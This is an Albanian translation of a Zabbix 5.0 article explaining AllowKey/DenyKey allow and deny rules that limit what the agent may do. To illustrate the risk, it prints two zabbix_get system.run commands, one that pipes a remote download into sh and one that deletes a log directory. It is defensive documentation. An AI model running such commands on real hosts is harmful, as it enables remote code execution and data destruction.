Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Mbështetje për lista të zezë dhe të bardhë për metrika në anën e agjentit

Tikhon Uskov, Inxhinier Integrimi, Zabbix

Problemet e sigurisë së të dhënave

Në Zabbix 5.0 është shtuar një veçori e re që përmirëson sigurinë në sistemet që përdorin Zabbix Agent dhe zëvendëson parametrin e vjetër EnableRemoteCommands.

Përmirësimi i sigurisë së sistemeve që përdorin agjentin është i bazuar në faktin se agjenti mund të kryejë një numër të madh veprimesh potencialisht të rrezikshme.

  • Agjenti mund tĂ« mbledhĂ« pothuajse çdo informacion, duke pĂ«rfshirĂ« atĂ« konfidencial ose potencialisht tĂ« rrezikshĂ«m, nga skedarĂ«t e konfigurimit, skedarĂ«t e regjistrit, skedarĂ«t e fjalĂ«kalimeve ose çdo skedar tjetĂ«r.

Për shembull, duke përdorur utilitarin zabbix_get mund të qasje në listën e përdoruesve, katalogët e tyre të shtëpisë, skedarët e fjalëkalimeve etj.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Aksesi në të dhëna përmes utilitarit zabbix_get

VËREJTJE. TĂ« dhĂ«nat mund tĂ« merren vetĂ«m nĂ«se agjenti ka tĂ« drejta pĂ«r tĂ« lexuar skedarin pĂ«rkatĂ«s.. Por, pĂ«r shembull, skedari /etc/passwd/ Ă«shtĂ« i qasshĂ«m pĂ«r tĂ« gjitha pĂ«rdoruesit.

  • Agjenti gjithashtu mund tĂ« kryejĂ« komanda potencialisht tĂ« rrezikshme. PĂ«r shembull, çelĂ«si *system.run[]** lejon kryerjen e çdo komande tĂ« largĂ«t nĂ« nyjat e rrjetit, pĂ«rfshirĂ« ekzekutimin e skripteve nga ndĂ«rfaqja web tĂ« Zabbix qĂ« gjithashtu kryejnĂ« komanda nĂ« anĂ«n e agjentit.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • NĂ« Linux, agjenti fillimisht aktivizohet pa privilegje root, ndĂ«rsa nĂ« Windows ai aktivizohet si shĂ«rbim nĂ«n emrin System dhe ka qasje tĂ« pakufizuar nĂ« sistemin e skedarĂ«ve. NĂ« pĂ«rputhje me kĂ«tĂ«, nĂ«se pas instalimit nuk janĂ« bĂ«rĂ« ndryshime nĂ« parametrat e Zabbix Agent, agjenti ka akses nĂ« regjistrin, sistemin e skedarĂ«ve dhe mund tĂ« kryejĂ« kĂ«rkesa WMI.

Në versionet e mëparshme, parametrin EnableRemoteCommands=0 lejonte vetëm ndalimin e metrikave me çelësin *system.run[]** dhe ekzekutimin e skripteve nga ndërfaqja web, por nuk ofronte mundësinë për të kufizuar aksesin në skedarët e veçantë, për të miratuar ose ndaluar çelësat e veçantë që ishin injektuar me agjentin, ose për të kufizuar përdorimin e parameterve të veçantë.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Përdorimi i parametrave EnableRemoteCommand në versionet e hershme të Zabbix

AllowKey/DenyKey

Zabbix 5.0 ndihmon në mbrojtjen nga ky akses i paautorizuar përmes listave të bardha dhe të zeza për miratimin dhe ndalimin e metrikave në anën e agjentit.

Në Zabbix 5.0, të gjitha çelësat, duke përfshirë *system.run[]**, janë të lejuar, dhe janë shtuar dy parametra të rinj konfigurimi për agjentin:

AllowKey= — lejohet kontrollet;

DenyKey= — ndalon kontrollet;

ku — Ă«shtĂ« njĂ« model emri çelĂ«si me parametra, nĂ« tĂ« cilin pĂ«rdoren metasimbolĂ«t (*).

ÇelĂ«sat AllowKey dhe DenyKey lejojnĂ« ose ndalojnĂ« metrikat individuale sipas njĂ« modeli tĂ« caktuar. Ndryshe nga parametrat e tjerĂ« tĂ« konfigurimit, numri i parametrave tĂ« AllowKey/DenyKey nuk Ă«shtĂ« i kufizuar. Kjo lejon pĂ«rcaktimin e saktĂ« tĂ« asaj qĂ« agjenti mund tĂ« bĂ«jĂ« nĂ« sistem pĂ«rmes krijimit tĂ« njĂ« strukture kontrollesh — çelĂ«sa tĂ« ekzekutuar, ku rendi i shkrimit ka njĂ« rol tĂ« rĂ«ndĂ«sishĂ«m.

Rendi i rregullave

Rregullat kontrollohen në rendin në të cilin janë futur në skedarin e konfigurimit. Kontrolli i çelësit sipas rregullave ndodh deri në përputhjen e parë, dhe sa herë që çelësi i elementit të dhënash përputhet me modelin, ai lejohet ose ndalohet. Pas kësaj kontrolli i rregullave ndalet, dhe çelësat e tjerë injorohen.

Prandaj, nëse një element përshtatet si me rregullën lejuese ashtu edhe me atë ndaluese, rezultati do të varet nga cili rregull do të jetë i pari në skedarin e konfigurimit.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

2 rregulla të ndryshme me të njëjtin model dhe çelës vfs.file.size[/tmp/file]

Rendi i përdorimit të çelësave AllowKey/DenyKey:

  1. rregulla të sakta,
  2. rregulla të përgjithshme,
  3. rregull ndalues.

Për shembull, nëse ju nevojitet qasje në skedarët në një dosje të caktuar, është e nevojshme fillimisht të lejoni qasjen në to, pastaj të ndaloni gjithçka tjetër që nuk bie nën lejimet e vendosura. Nëse rregulli ndalues do të përdoret fillimisht, qasja në dosje do të ndalohet.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Rendi i saktë

Nëse është e nevojshme të lejohet ekzekutimi i 2 utiliteteve përmes *system.run[]**, dhe në radhë të parë do të tregohet rregulli ndalues, utilitetet nuk do të ekzekutohen, sepse modeli i parë do të përputhet gjithmonë me çdo çelës, dhe rregullat e mëpasshme do të injorohen.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Rendi i gabuar

Modelet

Rregullat kryesore

Modeli është një shprehje me karaktere zëvendësues (wildcard). Metasimboli (*) përputhet me çdo numër të çdo simboli në një pozita të caktuar. Metasimbolët mund të përdoren si në emrin e çelësit ashtu edhe në parametra. Për shembull, mund të përcaktohet ashpërsisht teksti i parametrave të parë, ndërsa e dyta të caktohet si wildcard.

Parametrat duhet të mbyllen në katrorë [].

  • system.run[* — gabim
  • vfs.file*.txt] — gabim
  • vfs.file.*[*] — e saktĂ«

Shembuj të përdorimit të wildcard.

  1. Në emrin e çelësit dhe në parametrin. Në këtë rast çelësi nuk korrespondon me një çelës të ngjashëm, i cili nuk përmban parametrin, pasi në modelin e specifikuar ne treguam se duam të marrim një fund të caktuar të emrit të çelësit dhe një grup të caktuar parametrash.
  2. Nëse në model nuk janë përdorur katrorët, modeli lejon të gjitha çelësat që nuk përmbajnë parametrat dhe ndalon të gjithë çelësat me parametrat e specifikuar.
  3. Nëse çelësi është shkruar plotësisht dhe parametrat janë përcaktuar si wildcard, ai do të korrespondon me çdo çelës të ngjashëm me çdo parametrat dhe nuk do të korrespondoni me çelësin pa katrorët, dmth do të lejohet ose ndalohet.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Rregullat për plotësimin e parametrave.

  • NĂ«se bĂ«het fjalĂ« pĂ«r pĂ«rdorimin e njĂ« çelĂ«si me parametrat, parametrat duhet tĂ« shkruhen nĂ« skedarin e konfigurimit. Parametrat duhet tĂ« pĂ«rcaktohen si metasimbol. Duhet tĂ« jeni tĂ« kujdesshĂ«m nĂ« ndalimin e aksesit nĂ« njĂ« skedar tĂ« caktuar dhe tĂ« merrni parasysh se çfarĂ« informacioni do tĂ« mund tĂ« japĂ« metrika pĂ«r variante tĂ« ndryshme tĂ« shkruarjes - me parametrat dhe pa ata.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Veçoritë e shkruarjes së çelësave me parametrat

  • NĂ«se çelĂ«si Ă«shtĂ« i specifikuar me parametrat, por parametrat janĂ« opsional dhe pĂ«rcaktohen si metasimbol, çelĂ«si pa parametrat do tĂ« lejohet. PĂ«r shembull, nĂ«se dĂ«shironi tĂ« ndaloni marrjen e informacionit rreth ngarkesĂ«s sĂ« CPU-sĂ« dhe tregoni se çelĂ«si system.cpu.load[*] duhet tĂ« ndalohet, mos harroni se çelĂ«si pa parametrat do tĂ« kthejĂ« mesataren e ngarkesĂ«s.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Rregullat për plotësimin e parametrave

Shënime

Configuration

  • Disa rregulla nuk mund tĂ« ndryshohen nga pĂ«rdoruesi, pĂ«r shembull, rregullat e zbulimit (discovery) ose autoregjistrimit tĂ« agenĂ«ve. Rregullat AllowKey/DenyKey nuk prekin parametrat e mĂ«poshtĂ«m:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

VËREJTJE. NĂ«se administratori ndalon njĂ« çelĂ«s tĂ« caktuar, nĂ« kĂ«rkesĂ«n Zabbix nuk jepet informacion se pĂ«rse metrika ose çelĂ«si i pĂ«rkasin kategorisĂ« ‘NOTSUPPORTED‘. NĂ« skedarĂ«t e log-ut tĂ« agjentit informacioni pĂ«r ndalimet e ekzekutimit tĂ« komandave tĂ« largĂ«ta gjithashtu nuk shfaqet. Kjo bĂ«het pĂ«r arsye tĂ« sigurisĂ«, por mund tĂ« komplikohet debugging, nĂ«se metrikat bien nĂ« njĂ« kategori tĂ« papĂ«rshtatshme pĂ«r ndonjĂ« arsye..

  • Nuk duhet tĂ« pritet njĂ« rend tĂ« caktuar nĂ« lidhjen e skedarĂ«ve tĂ« jashtĂ«m tĂ« konfigurimit (pĂ«r shembull, nĂ« rend alfabetik).

Utilitetet e komandës

Pas vendosjes së rregullave, duhet të siguroheni që gjithçka është konfiguruar siç duhet.

Mund të përdorni një nga tri opsionet:

  • Shtoni metrikĂ«n nĂ« Zabbix.
  • Testoni me anĂ«n e zabbix_agentd. Agjenti Zabbix me opsionin -print (-p) shfaq tĂ« gjitha çelĂ«sat (tĂ« cilĂ«t lejohet sipas parazgjedhjes), pĂ«rveç atyre qĂ« nuk lejohet nga konfigurimi. NdĂ«rsa me opsionin -test (-t) pĂ«r njĂ« çelĂ«s tĂ« ndaluar do tĂ« kthejĂ« ‘ÇelĂ«si i artikullit tĂ« pa mbĂ«shtetur‘.
  • Testoni me anĂ«n e zabbix_get. Vegla zabbix_get me opsionin -k do tĂ« kthejĂ« ‘ZBX_NOTSUPPORTED: MetrikĂ« e panjohur‘.

Lejo ose ndalo

Mund të ndaloni qasjen në file dhe të siguroheni, për shembull, me anë të veglës zabbix_get, që qasja në file është e ndaluar.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

**

VËREJTJE. ThonjĂ«zat nĂ« parametĂ«r injorohen.

Megjithatë, qasja në një file të tillë mund të lejohet nëpërmjet një rruge tjetër. Për shembull, nëse është e lidhur me një simp-link.

Përkrahja e listave të bardha dhe të zeza për metrikat në anën e agjentit në Zabbix 5.0

Rekomandohet tĂ« kontrolloni variante tĂ« ndryshme tĂ« aplikimit tĂ« rregullave tĂ« vendosura, si dhe tĂ« merrni parasysh mundĂ«sitĂ« pĂ«r t’i anashkaluar ndalimet.

Pyetje dhe përgjigje

Pyetje. Pse për përshkrimin e rregullave, lejeve dhe ndalimeve është zgjedhur një skemë e tillë komplekse modeli me gjuhën e saj? Pse nuk ishte e mundur të përdoren, për shembull, shprehjet e rregullta që përdor Zabbix?

Përgjigje. Kjo është një çështje e performancës së regex, pasi agjenti zakonisht është vetëm një dhe ai kontrollon një sasi të madhe metrikash. Regex është një operacion mjaft i rëndë, dhe ne nuk mund të kontrollojmë mijëra metrika në këtë mënyrë. Wildcards janë një zgjidhje universale, e përdorur gjerësisht dhe e thjeshtë..

Pyetje. A nuk lidhen skedarët Include në rend alfabetik?

Përgjigje. Sa di unë, është faktikisht e pamundur të parashikohet renditja e aplikimit të rregullave, nëse i shpërndani rregullat në skedarë të ndryshëm. Unë rekomandoj të grumbulloni të gjitha rregullat AllowKey/DenyKey në një skedar të vetëm Include, sepse ato ndërveprojnë me njëra-tjetrën, dhe të lidhni këtë skedar..

Pyetje. NĂ« Zabbix 5.0 opsioni ‘EnableRemoteCommands=‘ nĂ« skedarin e konfigurimit mungon, dhe janĂ« tĂ« disponueshme vetĂ«m AllowKey/DenyKey?

Përgjigja. Po, e saktë..

Faleminderit për vëmendjen!

Burimi: habr.com

Bleni hostin e besueshĂ«m pĂ«r faqet me mbrojtje nga DDoS, VPS VDS servera đŸ”„ Bli hostin e besueshĂ«m pĂ«r faqet me mbrojtje nga DDoS, VPS VDS servera | ProHoster